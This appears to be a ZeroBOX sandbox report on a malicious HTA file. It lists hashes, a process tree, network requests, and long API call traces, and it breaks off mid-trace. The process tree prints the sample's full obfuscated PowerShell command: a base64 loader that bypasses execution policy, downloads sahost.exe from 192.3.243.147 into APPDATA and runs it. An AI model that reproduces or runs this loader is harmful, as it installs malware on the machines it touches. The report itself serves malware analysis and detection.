popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

IEntworking.hta

Generic Malware Antivirus .NET DLL AntiDebug MSOffice File DLL PE32 PE File AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Aug. 13, 2024, 5:16 p.m. Aug. 13, 2024, 5:19 p.m.
Size 82.9KB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 57c5c9da83dfc586745b571ccbe42e16
SHA256 45ed710777209957a76c4450826e7c3176cc54a72f0edc550670d05da1d5f78e
CRC32 8BEDC4D5
ssdeep 96:Ea7DC/YL/Yie7OV3kF+/YLC/Ymc4d2p/Y3T:Ea4iQMRcgT
Yara
  • Antivirus - Contains references to security software

  • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\IEntworking.hta.html

    2032

    • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2032 CREDAT:145409

      1780

      • cmd.exe "C:\Windows\system32\cmd.exe" "/c PowERSheLl.EXe -ex BYPASS -NOp -w 1 -C deViCEcREdEnTiALDepLOyMENt ; Iex($(iex('[syStEm.teXT.EnCODINg]'+[chAR]0x3a+[Char]58+'utF8.GEtsTRIng([SYstEM.coNvErT]'+[cHAr]0x3A+[cHAr]0X3a+'froMbaSe64stRinG('+[chAR]0x22+'JGFGaXpNMzggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYkVyZEVmSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5TlNLLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWERiU2hRZXosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY05FRlBDLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRE9qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJsVGZxQiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4ZlogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhRml6TTM4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjE0Ny8zMy9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U3RBUlQtU0xlRVAoMyk7c3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2Fob3N0LmV4ZSI='+[ChAr]0x22+'))')))"

        1700

        • powershell.exe PowERSheLl.EXe -ex BYPASS -NOp -w 1 -C deViCEcREdEnTiALDepLOyMENt ; Iex($(iex('[syStEm.teXT.EnCODINg]'+[chAR]0x3a+[Char]58+'utF8.GEtsTRIng([SYstEM.coNvErT]'+[cHAr]0x3A+[cHAr]0X3a+'froMbaSe64stRinG('+[chAR]0x22+'JGFGaXpNMzggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYkVyZEVmSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5TlNLLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWERiU2hRZXosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY05FRlBDLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRE9qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJsVGZxQiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1Fc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ4ZlogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhRml6TTM4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjE0Ny8zMy9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U3RBUlQtU0xlRVAoMyk7c3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2Fob3N0LmV4ZSI='+[ChAr]0x22+'))')))"

          2552

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
117.18.232.200 Active Moloch
164.124.101.2 Active Moloch
192.3.243.147 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000005113a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afd8d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afd8d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afd8d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afdda0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afdda0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afde80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afde80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afde80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afde80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe040
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe040
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe040
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe7b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe7b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe7b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe820
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe820
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000511480
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ae4a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ae4a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ae4a80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe740
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe820
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe820
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b2a240
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b2a240
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b2a5c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002b2a5c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe2e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe2e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe2e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002afe2e0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000001d6ae0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000001dd3f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000001f9090
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000001f9090
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 106815872
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 106821824
registers.r11: 106817632
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1902149196
registers.r13: 0
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://192.3.243.147/33/sahost.exe
request GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
request GET http://192.3.243.147/33/sahost.exe
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2032
region_size: 69632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002a00000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2032
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002a10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bb4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdc44000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdad1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2032
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000030d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefa1b7000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef69c9000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007feeca49000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1780
region_size: 9441280
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002700000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1780
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003000000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bb4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdc44000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdad1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9d000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9b000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000077186000
